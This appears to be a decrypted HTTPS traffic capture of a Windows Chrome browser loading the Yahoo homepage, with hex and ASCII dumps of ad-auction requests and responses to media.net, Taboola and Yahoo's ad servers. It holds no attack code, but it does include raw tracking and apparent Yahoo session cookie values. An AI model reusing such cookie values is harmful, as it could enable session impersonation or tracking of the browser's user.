2024-01-10 23:27:41 UTC	2093	OUT	Data Raw: 7b 22 73 69 74 65 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2c 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 72 65 66 22 3a 22 22 2c 22 74 6f 70 4d 6f 73 74 4c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 69 73 54 6f 70 22 3a 74 72 75 65 2c 22 63 61 6e 6f 6e 69 63 61 6c 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 6f 67 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 7d 2c 22 65 78 74 22 3a 7b 22 61 62 74 65 22 3a 22 53 53 50 5f 43 4c 49 45 4e 54 22 2c 22 63 75 73 74 6f 6d 65 72 5f 69 64 22 3a 22 38 59 48 42 4a 33 Data Ascii: {"site":{"domain":"www.yahoo.com","page":"https://www.yahoo.com/","ref":"","topMostLocation":"https://www.yahoo.com/","isTop":true,"canonical_url":"https://www.yahoo.com/","og_url":"https://www.yahoo.com/"},"ext":{"abte":"SSP_CLIENT","customer_id":"8YHBJ3
2024-01-10 23:27:41 UTC	562	IN	HTTP/1.1 200 OK server: nginx date: Wed, 10 Jan 2024 23:27:41 GMT content-type: application/json;charset=utf-8 cache-control: max-age=0, no-cache, no-store, must-revalidate pragma: no-cache expires: Wed, 10 Jan 2024 23:27:41 GMT accept-ch: Sec-CH-UA-Mobile,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Model Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.yahoo.com via: 1.1 google Alt-Svc: clear Connection: close Transfer-Encoding: chunked
2024-01-10 23:27:41 UTC	690	IN	Data Raw: 33 34 30 38 0d 0a 7b 22 69 64 22 3a 22 30 33 31 37 30 33 35 38 35 31 37 35 32 36 32 30 30 31 37 30 34 39 32 39 32 36 30 33 34 37 22 2c 22 62 69 64 4c 69 73 74 22 3a 5b 7b 22 6e 6f 5f 62 69 64 22 3a 66 61 6c 73 65 2c 22 72 65 71 75 65 73 74 49 64 22 3a 22 33 33 39 37 39 39 31 32 36 39 37 37 39 35 34 36 31 37 30 34 39 32 39 32 36 30 33 35 36 22 2c 22 63 70 6d 22 3a 30 2e 31 35 30 2c 22 61 64 22 3a 22 3c 64 69 76 20 69 64 3d 5c 22 72 63 5f 37 39 63 30 39 36 32 62 65 36 66 35 39 35 36 39 39 30 34 32 37 37 32 34 66 63 65 31 31 34 61 36 5c 22 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 3e 74 72 79 7b 6e 65 77 20 49 6d 61 67 65 28 29 2e 73 72 63 3d 5c 22 68 74 74 70 73 3a 2f 2f 6c 67 31 2e 68 62 2e 79 61 68 6f 6f 2e 6e 65 74 2f 6c 6f 67 3f 6c 6f 67 69 64 3d 6b 66 Data Ascii: 3408{"id":"031703585175262001704929260347","bidList":[{"no_bid":false,"requestId":"33979912697795461704929260356","cpm":0.150,"ad":"<div id=\"rc_79c0962be6f5956990427724fce114a6\"></div><script>try{new Image().src=\"https://lg1.hb.yahoo.net/log?logid=kf
2024-01-10 23:27:41 UTC	1252	IN	Data Raw: 7b 7d 76 61 72 20 75 74 69 6d 65 3d 28 6e 65 77 20 44 61 74 65 28 29 29 2e 67 65 74 54 69 6d 65 28 29 2d 5c 22 31 37 30 34 39 32 39 32 36 31 35 34 37 5c 22 3b 75 74 69 6d 65 3d 75 74 69 6d 65 3e 30 3f 75 74 69 6d 65 3a 5c 22 5c 22 3b 76 61 72 20 6d 6e 73 66 3d 31 3b 69 66 28 77 69 6e 64 6f 77 2e 24 73 66 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 6d 6e 73 66 3d 30 7d 76 61 72 20 72 61 6e 64 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 76 61 72 20 5f 6d 6e 4c 67 64 3d 5c 22 68 74 74 70 73 3a 2f 2f 6c 67 31 2e 68 62 2e 79 61 68 6f 6f 2e 6e 65 74 2f 63 6c 6f 67 3f 6c 6f 67 69 64 3d 61 77 6c 6f 67 26 6c 70 65 72 3d 31 26 69 74 79 70 65 69 64 3d 38 34 26 69 74 79 70 65 3d 59 48 42 26 63 63 3d 55 53 26 63 69 64 3d 38 59 48 42 4a 33 42 4a 30 26 72 65 71 69 64 3d Data Ascii: {}var utime=(new Date()).getTime()-\"1704929261547\";utime=utime>0?utime:\"\";var mnsf=1;if(window.$sf===undefined){mnsf=0}var rand=Math.random();var _mnLgd=\"https://lg1.hb.yahoo.net/clog?logid=awlog&lper=1&itypeid=84&itype=YHB&cc=US&cid=8YHBJ3BJ0&reqid=
2024-01-10 23:27:41 UTC	1252	IN	Data Raw: 6e 26 79 73 65 63 3d 6d 61 69 6e 26 79 64 74 3d 64 65 73 6b 74 6f 70 26 79 72 3d 55 53 26 79 6c 61 6e 67 3d 65 6e 2d 55 53 26 79 73 3d 66 70 26 68 65 61 64 65 72 5f 6c 61 6e 67 3d 74 72 75 65 26 72 74 74 74 69 6d 65 3d 32 36 39 26 72 65 71 5f 74 69 64 5f 70 72 65 73 65 6e 74 3d 66 61 6c 73 65 26 70 76 69 64 3d 32 35 30 32 31 26 70 61 72 65 6e 74 5f 70 76 69 64 3d 32 35 30 32 30 26 70 72 76 41 63 63 49 64 3d 38 73 72 63 76 31 37 26 70 72 76 41 70 69 49 64 3d 36 30 31 35 37 26 70 63 49 64 3d 62 64 36 61 32 31 39 63 2d 32 35 33 38 2d 34 37 37 62 2d 39 30 65 65 2d 36 64 32 30 63 37 38 36 30 63 34 62 26 61 64 6a 30 3d 30 2e 30 26 61 64 6a 31 3d 30 2e 30 26 61 64 6a 32 3d 30 2e 30 26 70 73 74 3d 30 26 63 72 69 64 3d 38 32 37 33 38 32 31 33 34 26 70 72 73 70 74 Data Ascii: n&ysec=main&ydt=desktop&yr=US&ylang=en-US&ys=fp&header_lang=true&rtttime=269&req_tid_present=false&pvid=25021&parent_pvid=25020&prvAccId=8srcv17&prvApiId=60157&pcId=bd6a219c-2538-477b-90ee-6d20c7860c4b&adj0=0.0&adj1=0.0&adj2=0.0&pst=0&crid=827382134&prspt
2024-01-10 23:27:41 UTC	1252	IN	Data Raw: 49 73 52 65 71 3d 31 26 73 70 46 73 74 3d 30 26 73 70 43 73 74 3d 30 26 6d 78 5f 70 61 67 65 5f 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 26 6d 78 5f 73 62 70 3d 2d 31 30 2e 30 26 6d 78 5f 65 70 62 63 3d 36 30 31 35 37 26 6d 78 5f 73 73 50 72 6f 66 69 6c 65 3d 30 26 6d 78 5f 69 6e 74 5f 64 73 70 5f 69 64 3d 31 30 31 30 26 6d 78 5f 73 75 61 5f 6f 73 5f 6e 3d 57 69 6e 64 6f 77 73 26 6d 78 5f 6c 72 3d 30 26 6d 78 5f 62 73 42 75 63 6b 65 74 52 61 3d 30 26 6d 78 5f 6c 72 5f 73 65 67 5f 64 65 61 6c 3d 30 26 6d 78 5f 61 71 63 70 6c 5f 63 72 69 64 3d 30 26 6d 78 5f 62 73 42 75 63 6b 65 74 4b 74 77 52 6c 3d 30 26 6d 78 5f 67 5f 75 69 64 5f 73 65 6e 74 25 33 43 25 33 45 3d 43 6f 6f 6b 69 65 26 6d 78 5f 67 70 69 64 Data Ascii: IsReq=1&spFst=0&spCst=0&mx_page_url=https%3A%2F%2Fwww.yahoo.com&mx_sbp=-10.0&mx_epbc=60157&mx_ssProfile=0&mx_int_dsp_id=1010&mx_sua_os_n=Windows&mx_lr=0&mx_bsBucketRa=0&mx_lr_seg_deal=0&mx_aqcpl_crid=0&mx_bsBucketKtwRl=0&mx_g_uid_sent%3C%3E=Cookie&mx_gpid
2024-01-10 23:27:41 UTC	1252	IN	Data Raw: 31 35 39 35 39 34 39 31 33 35 37 30 31 33 30 35 35 33 25 32 33 25 32 33 33 30 35 30 34 39 38 33 33 34 25 32 33 25 32 33 32 37 30 31 37 32 30 32 34 36 25 32 33 25 32 33 31 38 39 35 31 30 31 38 34 34 25 32 33 25 32 33 31 36 31 33 36 30 30 38 39 37 33 30 31 31 31 36 37 36 25 32 33 25 32 33 31 35 37 31 36 38 35 30 31 30 32 35 34 32 36 38 38 31 37 25 32 33 25 32 33 31 35 38 39 32 39 36 38 35 32 39 35 38 31 31 35 36 36 30 25 32 33 25 32 33 31 36 30 33 37 34 31 36 39 37 32 33 36 34 37 34 37 36 38 25 32 33 25 32 33 31 36 32 34 39 38 31 31 33 35 31 33 39 39 36 34 30 39 33 25 32 33 25 32 33 32 32 37 25 32 33 25 32 33 35 34 38 25 32 33 25 32 33 31 39 32 37 25 32 33 25 32 33 37 39 37 36 39 39 31 37 31 25 32 33 25 32 33 31 36 31 30 34 37 37 35 39 39 33 37 30 31 31 38 Data Ascii: 159594913570130553%23%233050498334%23%232701720246%23%231895101844%23%23161360089730111676%23%231571685010254268817%23%231589296852958115660%23%231603741697236474768%23%231624981135139964093%23%23227%23%23548%23%231927%23%23797699171%23%231610477599370118
2024-01-10 23:27:41 UTC	1252	IN	Data Raw: 31 31 30 32 32 30 32 5f 67 65 6e 2d 76 62 6c 74 5f 79 68 62 5f 38 59 48 42 4a 33 42 4a 30 26 76 5f 61 6c 67 3d 67 65 6e 2d 76 62 6c 74 5f 61 6c 6c 26 76 63 6d 70 6c 72 74 3d 2d 31 2e 30 26 65 78 70 5f 69 64 3d 2d 32 38 33 26 62 75 63 6b 65 74 5f 69 64 3d 2d 31 31 34 33 26 62 66 61 5f 61 6c 3d 65 78 70 6c 6f 69 74 61 74 69 6f 6e 26 62 66 61 5f 73 74 61 74 3d 31 26 69 6d 70 5f 74 69 64 5f 70 72 65 73 65 6e 74 3d 74 72 75 65 26 6b 31 3d 25 37 42 25 32 32 6b 25 32 32 25 33 41 25 32 32 70 75 62 6c 69 73 68 65 72 62 6c 6f 62 25 32 32 25 32 43 25 32 32 76 25 32 32 25 33 41 25 32 32 63 6f 6c 6f 25 33 41 62 66 31 25 33 42 64 65 76 69 63 65 25 33 41 64 65 73 6b 74 6f 70 25 33 42 6c 61 6e 67 25 33 41 65 6e 2d 55 53 25 33 42 6c 75 25 33 41 30 25 33 42 70 74 25 33 41 Data Ascii: 1102202_gen-vblt_yhb_8YHBJ3BJ0&v_alg=gen-vblt_all&vcmplrt=-1.0&exp_id=-283&bucket_id=-1143&bfa_al=exploitation&bfa_stat=1&imp_tid_present=true&k1=%7B%22k%22%3A%22publisherblob%22%2C%22v%22%3A%22colo%3Abf1%3Bdevice%3Adesktop%3Blang%3Aen-US%3Blu%3A0%3Bpt%3A
2024-01-10 23:27:41 UTC	1252	IN	Data Raw: 3d 5c 22 2b 6d 6e 73 66 2b 5c 22 26 63 70 72 3d 5c 22 2b 72 61 6e 64 3b 76 61 72 20 73 69 7a 65 3d 5f 6d 6e 4c 67 64 2e 6c 65 6e 67 74 68 3b 28 6e 65 77 20 49 6d 61 67 65 28 29 29 2e 73 72 63 3d 5f 6d 6e 4c 67 64 2e 72 65 70 6c 61 63 65 28 5c 22 3f 5c 22 2c 5c 22 3f 70 69 78 65 6c 5f 6c 65 6e 5f 62 75 63 6b 65 74 3d 5c 22 2b 73 69 7a 65 2b 5c 22 26 5c 22 29 3b 76 61 72 20 69 66 72 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 5c 22 69 66 72 61 6d 65 5c 22 29 3b 20 69 66 72 2e 68 65 69 67 68 74 3d 32 35 30 3b 20 69 66 72 2e 69 64 3d 5c 22 63 66 5f 37 39 63 30 39 36 32 62 65 36 66 35 39 35 36 39 39 30 34 32 37 37 32 34 66 63 65 31 31 34 61 36 5c 22 3b 20 69 66 72 2e 77 69 64 74 68 3d 33 30 30 3b 20 69 66 72 2e 66 72 61 6d 65 Data Ascii: =\"+mnsf+\"&cpr=\"+rand;var size=_mnLgd.length;(new Image()).src=_mnLgd.replace(\"?\",\"?pixel_len_bucket=\"+size+\"&\");var ifr = document.createElement(\"iframe\"); ifr.height=250; ifr.id=\"cf_79c0962be6f5956990427724fce114a6\"; ifr.width=300; ifr.frame
2024-01-10 23:27:41 UTC	1252	IN	Data Raw: 66 65 3d 31 37 64 36 61 37 65 64 26 70 75 69 64 3d 26 74 64 69 64 3d 62 64 36 61 32 31 39 63 2d 32 35 33 38 2d 34 37 37 62 2d 39 30 65 65 2d 36 64 32 30 63 37 38 36 30 63 34 62 26 70 69 64 3d 6b 33 70 39 38 77 36 26 61 67 3d 66 38 36 6f 6e 30 65 26 61 64 76 3d 33 35 31 70 7a 77 68 26 73 69 67 3d 31 4e 71 47 30 48 71 72 55 63 43 32 45 6f 41 68 65 4e 37 77 46 59 78 37 57 76 73 61 4f 45 50 65 42 31 31 76 48 63 31 73 4b 55 7a 63 2e 26 62 70 3d 30 2e 31 37 36 36 34 26 63 66 3d 36 30 37 34 35 33 37 26 66 71 3d 30 26 74 64 5f 73 3d 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 26 72 63 61 74 73 3d 26 6d 73 74 65 3d 26 6d 66 6c 64 3d 34 26 6d 73 73 69 3d 26 6d 66 73 69 3d 26 75 68 6f 77 3d 39 30 26 61 67 73 61 3d 26 72 67 7a 3d 35 36 39 37 32 26 73 76 62 74 74 64 3d 31 Data Ascii: fe=17d6a7ed&puid=&tdid=bd6a219c-2538-477b-90ee-6d20c7860c4b&pid=k3p98w6&ag=f86on0e&adv=351pzwh&sig=1NqG0HqrUcC2EoAheN7wFYx7WvsaOEPeB11vHc1sKUzc.&bp=0.17664&cf=6074537&fq=0&td_s=www.yahoo.com&rcats=&mste=&mfld=4&mssi=&mfsi=&uhow=90&agsa=&rgz=56972&svbttd=1
2024-01-10 23:27:41 UTC	1252	IN	Data Raw: 38 32 61 63 61 32 30 62 37 32 32 26 61 67 3d 66 38 36 6f 6e 30 65 26 73 66 65 3d 31 37 64 36 61 37 65 64 26 73 69 67 3d 55 6d 4d 74 31 55 6a 33 51 59 4c 76 74 68 78 32 6b 73 33 67 73 37 32 48 47 4b 58 57 4d 52 4e 32 49 71 54 51 51 51 75 71 75 5f 30 2e 26 63 72 69 64 3d 64 71 65 31 6b 73 35 6e 26 63 66 3d 36 30 37 34 35 33 37 26 66 71 3d 30 26 74 3d 31 26 74 64 5f 73 3d 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 26 72 63 61 74 73 3d 26 6d 73 74 65 3d 26 6d 66 6c 64 3d 34 26 6d 73 73 69 3d 26 6d 66 73 69 3d 26 73 76 3d 72 69 67 68 74 6d 65 64 69 61 26 75 68 6f 77 3d 39 30 26 61 67 73 61 3d 26 77 70 3d 30 2e 31 35 30 26 72 67 7a 3d 35 36 39 37 32 26 64 74 3d 50 43 26 6f 73 66 3d 57 69 6e 64 6f 77 73 26 6f 73 3d 57 69 6e 64 6f 77 73 31 30 26 62 72 3d 43 68 72 6f Data Ascii: 82aca20b722&ag=f86on0e&sfe=17d6a7ed&sig=UmMt1Uj3QYLvthx2ks3gs72HGKXWMRN2IqTQQQuqu_0.&crid=dqe1ks5n&cf=6074537&fq=0&t=1&td_s=www.yahoo.com&rcats=&mste=&mfld=4&mssi=&mfsi=&sv=rightmedia&uhow=90&agsa=&wp=0.150&rgz=56972&dt=PC&osf=Windows&os=Windows10&br=Chro

Session ID	Source IP	Source Port	Destination IP	Destination Port
742	192.168.2.4	50596	34.120.63.153	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:41 UTC	1290	OUT	POST /rtb/prebid?cid=8CUQ66JUO HTTP/1.1 Host: prebid.media.net Connection: keep-alive Content-Length: 1216 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-r=LR8EUG12-1F-5JG4~~1; data-r1=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005~~8; data-pba=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~8; data-bs=f6435827-796b-4521-81e9-11e581628f69~~1
2024-01-10 23:27:41 UTC	1216	OUT	Data Raw: 7b 22 73 69 74 65 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2c 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 72 65 66 22 3a 22 22 2c 22 74 6f 70 4d 6f 73 74 4c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 69 73 54 6f 70 22 3a 74 72 75 65 2c 22 63 61 6e 6f 6e 69 63 61 6c 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 6f 67 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 7d 2c 22 65 78 74 22 3a 7b 22 61 62 74 65 22 3a 22 53 53 50 5f 43 4c 49 45 4e 54 22 2c 22 63 75 73 74 6f 6d 65 72 5f 69 64 22 3a 22 38 43 55 51 36 36 Data Ascii: {"site":{"domain":"www.yahoo.com","page":"https://www.yahoo.com/","ref":"","topMostLocation":"https://www.yahoo.com/","isTop":true,"canonical_url":"https://www.yahoo.com/","og_url":"https://www.yahoo.com/"},"ext":{"abte":"SSP_CLIENT","customer_id":"8CUQ66
2024-01-10 23:27:41 UTC	661	IN	HTTP/1.1 200 OK cache-control: max-age=0, no-cache, no-store, must-revalidate pragma: no-cache expires: Wed, 10 Jan 2024 23:27:41 GMT accept-ch: Sec-CH-UA-Mobile,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Model Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.yahoo.com content-type: application/json;charset=utf-8 date: Wed, 10 Jan 2024 23:27:40 GMT x-envoy-upstream-service-time: 99 vary: Accept-Encoding server: envoy Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-01-10 23:27:41 UTC	591	IN	Data Raw: 32 34 62 0d 0a 7b 22 69 64 22 3a 22 30 33 31 37 30 33 35 38 35 31 37 35 32 36 32 30 30 31 37 30 34 39 32 39 32 36 30 33 34 37 22 2c 22 62 69 64 4c 69 73 74 22 3a 5b 5d 2c 22 65 78 74 22 3a 7b 22 63 73 55 72 6c 22 3a 5b 7b 22 74 79 70 65 22 3a 22 69 66 72 61 6d 65 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 6f 6e 74 65 78 74 75 61 6c 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 68 65 63 6b 73 79 6e 63 2e 70 68 70 3f 76 73 53 79 6e 63 3d 31 26 63 73 3d 38 26 63 76 3d 33 31 26 68 74 74 70 73 3d 31 26 63 69 64 3d 38 43 55 51 36 36 4a 55 4f 26 70 72 76 69 64 3d 32 30 33 34 25 32 43 32 30 33 33 25 32 43 32 30 33 31 25 32 43 32 30 33 30 25 32 43 35 35 30 25 32 43 32 33 33 25 32 43 32 30 32 38 25 32 43 32 30 32 37 25 32 43 32 33 36 25 32 43 33 31 33 25 32 43 32 Data Ascii: 24b{"id":"031703585175262001704929260347","bidList":[],"ext":{"csUrl":[{"type":"iframe","url":"https://contextual.media.net/checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8CUQ66JUO&prvid=2034%2C2033%2C2031%2C2030%2C550%2C233%2C2028%2C2027%2C236%2C313%2C2
2024-01-10 23:27:41 UTC	8	IN	Data Raw: 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: }0

Session ID	Source IP	Source Port	Destination IP	Destination Port
743	192.168.2.4	50597	151.101.193.44	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:41 UTC	641	OUT	POST /OpenRTB/TaboolaHB/auction?publisher=1635758 HTTP/1.1 Host: display.bidder.taboola.com Connection: keep-alive Content-Length: 700 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:41 UTC	700	OUT	Data Raw: 7b 22 69 64 22 3a 22 39 34 36 30 31 30 32 32 33 39 38 33 37 36 34 30 31 37 30 34 39 32 39 32 36 30 33 35 33 22 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 31 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 5d 7d 2c 22 74 61 67 69 64 22 3a 22 59 61 68 6f 6f 20 48 6f 6d 65 70 61 67 65 20 2d 20 4d 61 69 6e 20 2d 20 44 65 73 6b 74 6f 70 20 2d 20 54 6f 70 5f 52 69 67 68 74 22 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 30 35 2c 22 62 69 64 66 6c 6f 6f 72 63 75 72 22 3a 22 55 53 44 22 2c 22 65 78 74 22 3a 7b 22 67 70 69 64 22 3a 22 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 72 69 67 68 74 22 7d 7d 5d 2c 22 73 69 74 65 22 3a 7b 22 69 64 22 3a 22 31 36 33 35 37 35 38 22 2c 22 6e 61 6d 65 Data Ascii: {"id":"94601022398376401704929260353","imp":[{"id":1,"banner":{"format":[{"w":300,"h":250}]},"tagid":"Yahoo Homepage - Main - Desktop - Top_Right","bidfloor":0.05,"bidfloorcur":"USD","ext":{"gpid":"us_yhp_main_dt_top_right"}}],"site":{"id":"1635758","name
2024-01-10 23:27:41 UTC	372	IN	HTTP/1.1 204 No Content Connection: close Server: nginx Content-Type: application/json;charset=utf-8 x-envoy-upstream-service-time: 4 Access-Control-Allow-Origin: https://www.yahoo.com Accept-Ranges: bytes Date: Wed, 10 Jan 2024 23:27:41 GMT Via: 1.1 varnish X-Served-By: cache-ewr18176-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1704929261.272354,VS0,VE7

Session ID	Source IP	Source Port	Destination IP	Destination Port
744	192.168.2.4	50595	3.92.156.8	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:41 UTC	1346	OUT	POST /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Content-Length: 1359 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json x-openrtb-version: 2.5 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:41 UTC	1359	OUT	Data Raw: 7b 22 69 64 22 3a 22 62 38 32 31 37 38 64 30 2d 64 37 36 32 2d 34 37 35 36 2d 62 66 32 37 2d 36 65 32 63 32 36 61 36 33 39 65 39 22 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 37 30 30 30 30 37 33 38 38 38 31 34 35 30 35 36 31 37 30 34 39 32 39 32 36 30 33 34 39 22 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 31 35 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 6d 69 6d 65 73 22 3a 5b 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 69 6d 61 67 65 2f 6a 70 67 22 5d 2c 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 5d 7d 2c 22 76 69 64 65 6f 22 Data Ascii: {"id":"b82178d0-d762-4756-bf27-6e2c26a639e9","cur":["USD"],"imp":[{"id":"70000738881450561704929260349","secure":1,"bidfloor":0.15,"banner":{"mimes":["text/html","text/javascript","application/javascript","image/jpg"],"format":[{"w":300,"h":250}]},"video"
2024-01-10 23:27:41 UTC	348	IN	HTTP/1.1 204 No Content Date: Wed, 10 Jan 2024 23:27:41 GMT Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: POST,GET,HEAD,OPTIONS Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Credentials: true Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
745	192.168.2.4	50602	69.147.92.11	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:41 UTC	490	OUT	GET /dy/ads/gemini.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
